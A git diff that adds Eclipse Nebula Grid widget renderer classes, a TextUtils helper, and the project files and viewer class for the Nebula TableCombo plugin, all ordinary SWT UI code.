boolean drawBackground = true; + + if (isSelected()) + { + gc.setBackground(getDisplay().getSystemColor(SWT.COLOR_LIST_SELECTION)); + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_LIST_SELECTION_TEXT)); + } + else + { + if (table.isEnabled()) + { + drawBackground = false; + } + else + { + gc.setBackground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_BACKGROUND)); + } + gc.setForeground(table.getForeground()); + } + + if (drawBackground) + gc.fillRectangle(getBounds().x, getBounds().y, getBounds().width + 1, + getBounds().height); + + if (table.getLinesVisible()) + { + gc.setForeground(table.getLineColor()); + gc.drawLine(getBounds().x, getBounds().y + getBounds().height, getBounds().x + + getBounds().width, + getBounds().y + getBounds().height); + gc.drawLine(getBounds().x + getBounds().width - 1, getBounds().y, getBounds().x + + getBounds().width + - 1, + getBounds().y + getBounds().height); + } + } + + /** + * {@inheritDoc} + */ + public Point computeSize(GC gc, int wHint, int hHint, Object value) + { + return new Point(wHint, hHint); + } + + /** + * {@inheritDoc} + */ + public boolean notify(int event, Point point, Object value) + { + return false; + } + +} diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/DefaultEmptyColumnFooterRenderer.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/DefaultEmptyColumnFooterRenderer.java new file mode 100644 index 0000000..7dc19e7 --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/DefaultEmptyColumnFooterRenderer.java @@ -0,0 +1,48 @@ +/******************************************************************************* + * Copyright (c) 2006 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * chris.gross@us.ibm.com - initial API and implementation + *******************************************************************************/ +package org.eclipse.nebula.widgets.grid.internal; + +import org.eclipse.nebula.widgets.grid.AbstractRenderer; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Point; + +/** + * A renderer for the last empty column header. + * + * @author chris.gross@us.ibm.com + * @since 2.0.0 + */ +public class DefaultEmptyColumnFooterRenderer extends AbstractRenderer +{ + + /** + * {@inheritDoc} + */ + public Point computeSize(GC gc, int wHint, int hHint, Object value) + { + return new Point(wHint, hHint); + } + + /** + * {@inheritDoc} + */ + public void paint(GC gc, Object value) + { + gc.setBackground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_BACKGROUND)); + + gc.fillRectangle(getBounds().x, getBounds().y, getBounds().width + 1, + getBounds().height + 1); + gc.drawLine(getBounds().x, getBounds().y, getBounds().x + + getBounds().width, getBounds().y); + } + +} diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/DefaultEmptyColumnHeaderRenderer.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/DefaultEmptyColumnHeaderRenderer.java new file mode 100644 index 0000000..87cce57 --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/DefaultEmptyColumnHeaderRenderer.java @@ -0,0 +1,47 @@ +/******************************************************************************* + * Copyright (c) 2006 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * chris.gross@us.ibm.com - initial API and implementation + *******************************************************************************/ +package org.eclipse.nebula.widgets.grid.internal; + +import org.eclipse.nebula.widgets.grid.AbstractRenderer; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Point; + +/** + * A renderer for the last empty column header. + * + * @author chris.gross@us.ibm.com + * @since 2.0.0 + */ +public class DefaultEmptyColumnHeaderRenderer extends AbstractRenderer +{ + + /** + * {@inheritDoc} + */ + public Point computeSize(GC gc, int wHint, int hHint, Object value) + { + return new Point(wHint, hHint); + } + + /** + * {@inheritDoc} + */ + public void paint(GC gc, Object value) + { + gc.setBackground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_BACKGROUND)); + + gc.fillRectangle(getBounds().x, getBounds().y, getBounds().width + 1, + getBounds().height + 1); + + } + +} diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/DefaultEmptyRowHeaderRenderer.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/DefaultEmptyRowHeaderRenderer.java new file mode 100644 index 0000000..f94dce8 --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/DefaultEmptyRowHeaderRenderer.java @@ -0,0 +1,94 @@ +/******************************************************************************* + * Copyright (c) 2006 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * chris.gross@us.ibm.com - initial API and implementation + *******************************************************************************/ +package org.eclipse.nebula.widgets.grid.internal; + +import org.eclipse.nebula.widgets.grid.AbstractRenderer; +import org.eclipse.nebula.widgets.grid.Grid; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Point; + +/** + * The empty row header renderer. + * + * @author chris.gross@us.ibm.com + * @since 2.0.0 + */ +public class DefaultEmptyRowHeaderRenderer extends AbstractRenderer +{ + + /** + * {@inheritDoc} + */ + public void paint(GC gc, Object value) + { + + gc.setBackground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_BACKGROUND)); + + gc.fillRectangle(getBounds().x, getBounds().y, getBounds().width, getBounds().height + 1); + + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_HIGHLIGHT_SHADOW)); + + Grid grid = (Grid) value; + + if (!grid.getCellSelectionEnabled()) + { + + gc.drawLine(getBounds().x, getBounds().y, getBounds().x + getBounds().width - 1, + getBounds().y); + gc.drawLine(getBounds().x, getBounds().y, getBounds().x, getBounds().y + getBounds().height + - 1); + + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_LIGHT_SHADOW)); + gc.drawLine(getBounds().x + 1, getBounds().y + 1, + getBounds().x + getBounds().width - 2, getBounds().y + 1); + gc.drawLine(getBounds().x + 1, getBounds().y + 1, getBounds().x + 1, + getBounds().y + getBounds().height - 2); + + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_DARK_SHADOW)); + gc.drawLine(getBounds().x + getBounds().width - 1, getBounds().y, getBounds().x + + getBounds().width - 1, + getBounds().y + getBounds().height - 1); + gc.drawLine(getBounds().x, getBounds().y + getBounds().height - 1, getBounds().x + + getBounds().width - 1, + getBounds().y + getBounds().height - 1); + + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_NORMAL_SHADOW)); + gc.drawLine(getBounds().x + getBounds().width - 2, getBounds().y + 1, + getBounds().x + getBounds().width - 2, getBounds().y + getBounds().height + - 2); + gc.drawLine(getBounds().x + 1, getBounds().y + getBounds().height - 2, + getBounds().x + getBounds().width - 2, getBounds().y + getBounds().height + - 2); + } + else + { + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_DARK_SHADOW)); + + gc.drawLine(getBounds().x + getBounds().width - 1, getBounds().y, getBounds().x + + getBounds().width - 1, + getBounds().y + getBounds().height - 1); + gc.drawLine(getBounds().x, getBounds().y + getBounds().height - 1, getBounds().x + + getBounds().width - 1, + getBounds().y + getBounds().height - 1); + } + + } + + /** + * {@inheritDoc} + */ + public Point computeSize(GC gc, int wHint, int hHint, Object value) + { + return new Point(wHint, hHint); + } + +} diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/DefaultFocusRenderer.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/DefaultFocusRenderer.java new file mode 100644 index 0000000..0d0f201 --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/DefaultFocusRenderer.java @@ -0,0 +1,58 @@ +/******************************************************************************* + * Copyright (c) 2006 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * chris.gross@us.ibm.com - initial API and implementation + *******************************************************************************/ +package org.eclipse.nebula.widgets.grid.internal; + +import org.eclipse.nebula.widgets.grid.AbstractRenderer; +import org.eclipse.nebula.widgets.grid.GridItem; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Point; + +/** + * The focus item renderer - renders over the completely drawn table. + * + * @author chris.gross@us.ibm.com + * @since 2.0.0 + */ +public class DefaultFocusRenderer extends AbstractRenderer +{ + + /** + * {@inheritDoc} + */ + public void paint(GC gc, Object value) + { + GridItem item = (GridItem)value; + + if (item.getParent().isSelected(item)) + { + gc.setBackground(getDisplay().getSystemColor(SWT.COLOR_LIST_SELECTION)); + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_LIST_SELECTION_TEXT)); + } + else + { + gc.setBackground(item.getBackground()); + gc.setForeground(item.getForeground()); + } + + gc.drawFocus(getBounds().x, getBounds().y, getBounds().width + 1, getBounds().height + 1); + + } + + /** + * {@inheritDoc} + */ + public Point computeSize(GC gc, int wHint, int hHint, Object value) + { + return null; + } + +} diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/DefaultInsertMarkRenderer.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/DefaultInsertMarkRenderer.java new file mode 100644 index 0000000..79c94ec --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/DefaultInsertMarkRenderer.java @@ -0,0 +1,46 @@ +package org.eclipse.nebula.widgets.grid.internal; + +import org.eclipse.nebula.widgets.grid.AbstractRenderer; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; + +/** + * A renderer which paints the insert mark feedback during drag & drop. + * + * @author mark-olver.reiser + * @since 3.3 + */ +public class DefaultInsertMarkRenderer extends AbstractRenderer +{ + /** + * Renders the insertion mark. The bounds of the renderer + * need not be set. + * + * @param gc + * @param value must be a {@link Rectangle} with height == 0. + */ + public void paint(GC gc, Object value) + { + Rectangle r = (Rectangle)value; + + gc.setLineStyle(SWT.LINE_SOLID); + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_LIST_SELECTION)); + + gc.drawLine(r.x, r.y-1, r.x+r.width, r.y-1); + gc.drawLine(r.x, r.y , r.x+r.width, r.y ); + gc.drawLine(r.x, r.y+1, r.x+r.width, r.y+1); + + gc.drawLine(r.x-1, r.y-2, r.x-1, r.y+2); + gc.drawLine(r.x-2, r.y-3, r.x-2, r.y+3); + } + + /** + * {@inheritDoc} + */ + public Point computeSize(GC gc, int wHint, int hHint, Object value) + { + return new Point(9, 7); + } +} diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/DefaultRowHeaderRenderer.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/DefaultRowHeaderRenderer.java new file mode 100644 index 0000000..edc3481 --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/DefaultRowHeaderRenderer.java @@ -0,0 +1,278 @@ +/******************************************************************************* + * Copyright (c) 2006 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * chris.gross@us.ibm.com - initial API and implementation + * Chuck.Mastrandrea@sas.com - wordwrapping in bug 222280 + * smcduff@hotmail.com - wordwrapping in bug 222280 + *******************************************************************************/ +package org.eclipse.nebula.widgets.grid.internal; + +import org.eclipse.nebula.widgets.grid.AbstractRenderer; +import org.eclipse.nebula.widgets.grid.GridColumn; +import org.eclipse.nebula.widgets.grid.GridItem; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.TextLayout; + +/** + * The row header renderer. + * + * @author chris.gross@us.ibm.com + * @since 2.0.0 + */ +public class DefaultRowHeaderRenderer extends AbstractRenderer +{ + + int leftMargin = 6; + + int rightMargin = 8; + + int topMargin = 3; + + int bottomMargin = 3; + + private TextLayout textLayout; + + /** + * {@inheritDoc} + */ + public void paint(GC gc, Object value) + { + GridItem item = (GridItem) value; + + String text = getHeaderText(item); + + gc.setFont(getDisplay().getSystemFont()); + + Color background = getHeaderBackground(item); + if( background == null ) { + background = getDisplay().getSystemColor(SWT.COLOR_WIDGET_BACKGROUND); + } + gc.setBackground(background); + + if (isSelected() && item.getParent().getCellSelectionEnabled()) + { + gc.setBackground(item.getParent().getCellHeaderSelectionBackground()); + } + + gc.fillRectangle(getBounds().x, getBounds().y, getBounds().width, getBounds().height + 1); + + if (!item.getParent().getCellSelectionEnabled()) + { + if (isSelected()) + { + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_NORMAL_SHADOW)); + } + else + { + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_HIGHLIGHT_SHADOW)); + } + + + + gc.drawLine(getBounds().x, getBounds().y, getBounds().x + getBounds().width - 1, + getBounds().y); + gc.drawLine(getBounds().x, getBounds().y, getBounds().x, getBounds().y + getBounds().height + - 1); + + if (!isSelected()) + { + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_LIGHT_SHADOW)); + gc.drawLine(getBounds().x + 1, getBounds().y + 1, + getBounds().x + getBounds().width - 2, getBounds().y + 1); + gc.drawLine(getBounds().x + 1, getBounds().y + 1, getBounds().x + 1, + getBounds().y + getBounds().height - 2); + } + + if (isSelected()) + { + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_NORMAL_SHADOW)); + } + else + { + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_DARK_SHADOW)); + } + gc.drawLine(getBounds().x + getBounds().width - 1, getBounds().y, getBounds().x + + getBounds().width - 1, + getBounds().y + getBounds().height - 1); + gc.drawLine(getBounds().x, getBounds().y + getBounds().height - 1, getBounds().x + + getBounds().width - 1, + getBounds().y + getBounds().height - 1); + + if (!isSelected()) + { + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_NORMAL_SHADOW)); + gc.drawLine(getBounds().x + getBounds().width - 2, getBounds().y + 1, + getBounds().x + getBounds().width - 2, getBounds().y + getBounds().height + - 2); + gc.drawLine(getBounds().x + 1, getBounds().y + getBounds().height - 2, + getBounds().x + getBounds().width - 2, getBounds().y + getBounds().height + - 2); + } + } + else + { + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_DARK_SHADOW)); + + gc.drawLine(getBounds().x + getBounds().width - 1, getBounds().y, getBounds().x + + getBounds().width - 1, + getBounds().y + getBounds().height - 1); + gc.drawLine(getBounds().x, getBounds().y + getBounds().height - 1, getBounds().x + + getBounds().width - 1, + getBounds().y + getBounds().height - 1); + } + + int x = leftMargin; + + Image image = getHeaderImage(item); + + if( image != null ) { + if( isSelected() && !item.getParent().getCellSelectionEnabled() ) { + gc.drawImage(image, x + 1, getBounds().y + 1 + (getBounds().height - image.getBounds().height)/2); + x += 1; + } else { + gc.drawImage(image, x, getBounds().y + (getBounds().height - image.getBounds().height)/2); + } + x += image.getBounds().width + 5; + } + + int width = getBounds().width - x; + + width -= rightMargin; + + Color foreground = getHeaderForeground(item); + if( foreground == null ) { + foreground = getDisplay().getSystemColor(SWT.COLOR_WIDGET_FOREGROUND); + } + + gc.setForeground(foreground); + + + int y = getBounds().y; + int selectionOffset = 0; + if (isSelected() && !item.getParent().getCellSelectionEnabled()) + { + selectionOffset = 1; + } + + if (!item.getParent().isWordWrapHeader()) + { + y += (getBounds().height - gc.stringExtent(text).y) / 2; + gc.drawString(TextUtils.getShortString(gc, text, width), getBounds().x + x + selectionOffset, y + selectionOffset, true); + } + else + { + getTextLayout(gc, item); + textLayout.setWidth(width < 1 ? 1 : width); + textLayout.setText(text); + + if (item.getParent().isAutoHeight()) + { + // Look through all columns to get the max height needed for this item + int columnCount = item.getParent().getColumnCount(); + int maxHeight = textLayout.getBounds().height + topMargin + bottomMargin; + for (int i=0; i= gc.textExtent(t).x) + { + return t; + } + + int w = gc.textExtent("...").x; + String text = t; + int l = text.length(); + int pivot = l / 2; + int s = pivot; + int e = pivot + 1; + + while (s >= 0 && e < l) + { + String s1 = text.substring(0, s); + String s2 = text.substring(e, l); + int l1 = gc.textExtent(s1).x; + int l2 = gc.textExtent(s2).x; + if (l1 + w + l2 < width) + { + text = s1 + "..." + s2; + break; + } + s--; + e++; + } + + if (s == 0 || e == l) + { + text = text.substring(0, 1) + "..." + text.substring(l - 1, l); + } + + return text; + } + + /** + * Shortens a supplied string so that it fits within the area specified by + * the width argument. Strings that have been shorted have an "..." attached + * to the end of the string. The width is computed using the + * {@link GC#stringExtent(String)}. + * + * @param gc GC used to perform calculation. + * @param t text to modify. + * @param width Pixels to display. + * @return shortened string that fits in area specified. + */ + public static String getShortString(GC gc, String t, int width) + { + + if (t == null) + { + return null; + } + + if (t.equals("")) + { + return ""; + } + + if (width >= gc.stringExtent(t).x) + { + return t; + } + + int w = gc.stringExtent("...").x; + String text = t; + int l = text.length(); + int pivot = l / 2; + int s = pivot; + int e = pivot + 1; + while (s >= 0 && e < l) + { + String s1 = text.substring(0, s); + String s2 = text.substring(e, l); + int l1 = gc.stringExtent(s1).x; + int l2 = gc.stringExtent(s2).x; + if (l1 + w + l2 < width) + { + text = s1 + "..." + s2; + break; + } + s--; + e++; + } + + if (s == 0 || e == l) + { + text = text.substring(0, 1) + "..." + text.substring(l - 1, l); + } + + return text; + } + + /** + * Protected constructor to prevent instantiation. + */ + protected TextUtils() + { + } +} diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/ToggleRenderer.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/ToggleRenderer.java new file mode 100644 index 0000000..92f8ba3 --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/ToggleRenderer.java @@ -0,0 +1,68 @@ +/******************************************************************************* + * Copyright (c) 2006 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * chris.gross@us.ibm.com - initial API and implementation + *******************************************************************************/ +package org.eclipse.nebula.widgets.grid.internal; + +import org.eclipse.nebula.widgets.grid.AbstractRenderer; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Point; + +/** + * The renderer for tree item plus/minus expand/collapse toggle. + * + * @author chris.gross@us.ibm.com + * @since 2.0.0 + */ +public class ToggleRenderer extends AbstractRenderer +{ + + /** + * Default constructor. + */ + public ToggleRenderer() + { + this.setSize(9, 9); + } + + /** + * {@inheritDoc} + */ + public void paint(GC gc, Object value) + { + + gc.setBackground(getDisplay().getSystemColor(SWT.COLOR_LIST_BACKGROUND)); + + gc.fillRectangle(getBounds()); + + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_NORMAL_SHADOW)); + + gc.drawRectangle(getBounds().x, getBounds().y, getBounds().width - 1, + getBounds().height - 1); + + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_FOREGROUND)); + + gc.drawLine(getBounds().x + 2, getBounds().y + 4, getBounds().x + 6, getBounds().y + 4); + + if (!isExpanded()) + { + gc.drawLine(getBounds().x + 4, getBounds().y + 2, getBounds().x + 4, getBounds().y + 6); + } + + } + + /** + * {@inheritDoc} + */ + public Point computeSize(GC gc, int wHint, int hHint, Object value) + { + return new Point(9, 9); + } +} diff --git a/base_plugins/org.eclipse.nebula.widgets.tablecombo/.classpath b/base_plugins/org.eclipse.nebula.widgets.tablecombo/.classpath new file mode 100644 index 0000000..2fbb7a2 --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.tablecombo/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/base_plugins/org.eclipse.nebula.widgets.tablecombo/.cvsignore b/base_plugins/org.eclipse.nebula.widgets.tablecombo/.cvsignore new file mode 100644 index 0000000..eb5a316 --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.tablecombo/.cvsignore @@ -0,0 +1 @@ +target diff --git a/base_plugins/org.eclipse.nebula.widgets.tablecombo/.project b/base_plugins/org.eclipse.nebula.widgets.tablecombo/.project new file mode 100644 index 0000000..37b3216 --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.tablecombo/.project @@ -0,0 +1,28 @@ + + + org.eclipse.nebula.widgets.tablecombo + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.jdt.core.javanature + org.eclipse.pde.PluginNature + + diff --git a/base_plugins/org.eclipse.nebula.widgets.tablecombo/.settings/org.eclipse.jdt.core.prefs b/base_plugins/org.eclipse.nebula.widgets.tablecombo/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..854ebb2 --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.tablecombo/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,12 @@ +#Thu Oct 08 08:01:32 CDT 2009 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.2 +org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve +org.eclipse.jdt.core.compiler.compliance=1.4 +org.eclipse.jdt.core.compiler.debug.lineNumber=generate +org.eclipse.jdt.core.compiler.debug.localVariable=generate +org.eclipse.jdt.core.compiler.debug.sourceFile=generate +org.eclipse.jdt.core.compiler.problem.assertIdentifier=warning +org.eclipse.jdt.core.compiler.problem.enumIdentifier=warning +org.eclipse.jdt.core.compiler.source=1.3 diff --git a/base_plugins/org.eclipse.nebula.widgets.tablecombo/META-INF/MANIFEST.MF b/base_plugins/org.eclipse.nebula.widgets.tablecombo/META-INF/MANIFEST.MF new file mode 100644 index 0000000..2a5dc93 --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.tablecombo/META-INF/MANIFEST.MF @@ -0,0 +1,11 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Nebula TableCombo Plugin +Bundle-SymbolicName: org.eclipse.nebula.widgets.tablecombo +Bundle-Version: 8.0.0.R8b_v20121203 +Export-Package: org.eclipse.nebula.jface.tablecomboviewer, + org.eclipse.nebula.widgets.tablecombo +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Require-Bundle: org.eclipse.swt, + org.eclipse.jface;resolution:=optional +Bundle-Vendor: Eclipse.org diff --git a/base_plugins/org.eclipse.nebula.widgets.tablecombo/build.properties b/base_plugins/org.eclipse.nebula.widgets.tablecombo/build.properties new file mode 100644 index 0000000..95d5436 --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.tablecombo/build.properties @@ -0,0 +1,8 @@ +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . +src.includes = .classpath,\ + .project,\ + META-INF/,\ + src/ \ No newline at end of file diff --git a/base_plugins/org.eclipse.nebula.widgets.tablecombo/pom.xml b/base_plugins/org.eclipse.nebula.widgets.tablecombo/pom.xml new file mode 100644 index 0000000..08abc75 --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.tablecombo/pom.xml @@ -0,0 +1,18 @@ + + + 4.0.0 + + + nebula-release + org.eclipse.nebula + 1.0.0-SNAPSHOT + ../org.eclipse.swt.nebula.nebula-release + + + org.eclipse.nebula + org.eclipse.nebula.widgets.tablecombo + 1.0.0-SNAPSHOT + eclipse-plugin + + \ No newline at end of file diff --git a/base_plugins/org.eclipse.nebula.widgets.tablecombo/src/org/eclipse/nebula/jface/tablecomboviewer/TableComboViewer.java b/base_plugins/org.eclipse.nebula.widgets.tablecombo/src/org/eclipse/nebula/jface/tablecomboviewer/TableComboViewer.java new file mode 100644 index 0000000..8253e92 --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.tablecombo/src/org/eclipse/nebula/jface/tablecomboviewer/TableComboViewer.java @@ -0,0 +1,293 @@ +/**************************************************************************** + * Copyright (c) 2000, 2008 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * Marty Jones - initial API and implementation + * Enrico Schnepel - added logic to fix bug 304353 + *****************************************************************************/ +package org.eclipse.nebula.jface.tablecomboviewer; + +import org.eclipse.jface.viewers.AbstractTableViewer; +import org.eclipse.jface.viewers.ColumnViewerEditor; +import org.eclipse.jface.viewers.LabelProviderChangedEvent; +import org.eclipse.jface.viewers.ViewerRow; +import org.eclipse.nebula.widgets.tablecombo.TableCombo; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Item; +import org.eclipse.swt.widgets.TableItem; +import org.eclipse.swt.widgets.Widget; + +/** + * TableComboViewerRow is basically identical to the TableViewer class with a few modifications to reference the Table + * within the TableCombo widget instead of a parent Table widget. + */ +public class TableComboViewer extends AbstractTableViewer { + + private TableCombo tableCombo; + + /** + * The cached row which is reused all over + */ + private TableComboViewerRow cachedRow; + + public TableComboViewer(Composite parent) { + this(parent, SWT.MULTI | SWT.H_SCROLL | SWT.V_SCROLL | SWT.BORDER); + } + + /** + * Creates a table viewer on a newly-created table control under the given parent. The table control is created + * using the given style bits. The viewer has no input, no content provider, a default label provider, no sorter, + * and no filters. The table has no columns. + * @param parent + * the parent control + * @param style + * SWT style bits + */ + public TableComboViewer(Composite parent, int style) { + this(new TableCombo(parent, style)); + } + + /** + * Creates a table viewer on the given table control. The viewer has no input, no content provider, a default label + * provider, no sorter, and no filters. + * @param table + * the table control + */ + public TableComboViewer(TableCombo tableCombo) { + this.tableCombo = tableCombo; + hookControl(tableCombo); + } + + /** + * {@inheritDoc} + */ + protected void doClear(int index) { + tableCombo.getTable().clear(index); + + } + + /** + * {@inheritDoc} + */ + protected void doClearAll() { + tableCombo.getTable().clearAll(); + + } + + /** + * {@inheritDoc} + */ + protected void doDeselectAll() { + tableCombo.getTable().deselectAll(); + + } + + /** + * {@inheritDoc} + */ + protected Widget doGetColumn(int index) { + return tableCombo.getTable().getColumn(index); + } + + /** + * {@inheritDoc} + */ + protected Item doGetItem(int index) { + return tableCombo.getTable().getItem(index); + } + + /** + * {@inheritDoc} + */ + protected int doGetItemCount() { + return tableCombo.getTable().getItemCount(); + } + + /** + * {@inheritDoc} + */ + protected Item[] doGetItems() { + return tableCombo.getTable().getItems(); + } + + /** + * {@inheritDoc} + */ + protected Item[] doGetSelection() { + return tableCombo.getTable().getSelection(); + } + + /** + * {@inheritDoc} + */ + protected int[] doGetSelectionIndices() { + return tableCombo.getTable().getSelectionIndices(); + } + + /** + * {@inheritDoc} + */ + protected int doIndexOf(Item item) { + return tableCombo.getTable().indexOf((TableItem) item); + } + + /** + * {@inheritDoc} + */ + protected void doRemove(int[] indices) { + tableCombo.getTable().remove(indices); + } + + /** + * {@inheritDoc} + */ + protected void doRemove(int start, int end) { + tableCombo.getTable().remove(start, end); + } + + /** + * {@inheritDoc} + */ + protected void doRemoveAll() { + tableCombo.getTable().removeAll(); + } + + /** + * {@inheritDoc} + */ + protected void doResetItem(Item item) { + TableItem tableItem = (TableItem) item; + int columnCount = Math.max(1, tableCombo.getTable().getColumnCount()); + for (int i = 0; i < columnCount; i++) { + tableItem.setText(i, ""); //$NON-NLS-1$ + if (tableItem.getImage(i) != null) { + tableItem.setImage(i, null); + } + } + } + + /** + * {@inheritDoc} + */ + protected void doSelect(int[] indices) { + tableCombo.select(indices != null && indices.length > 0 ? indices[0] : -1); + } + + /** + * {@inheritDoc} + */ + protected void doSetItemCount(int count) { + tableCombo.getTable().setItemCount(count); + } + + /** + * {@inheritDoc} + */ + protected void doSetSelection(Item[] items) { + if (items != null && items.length > 0) { + tableCombo.select(tableCombo.getTable().indexOf((TableItem) items[0])); + } else { + tableCombo.select(-1); + } + } + + /** + * {@inheritDoc} + */ + protected void doSetSelection(int[] indices) { + tableCombo.select(indices != null && indices.length > 0 ? indices[0] : -1); + } + + /** + * {@inheritDoc} + */ + protected void doShowItem(Item item) { + tableCombo.getTable().showItem((TableItem) item); + } + + /** + * {@inheritDoc} + */ + protected void doShowSelection() { + tableCombo.getTable().showSelection(); + } + + /** + * {@inheritDoc} + */ + protected ViewerRow internalCreateNewRowPart(int style, int rowIndex) { + TableItem item; + + if (rowIndex >= 0) { + item = new TableItem(tableCombo.getTable(), style, 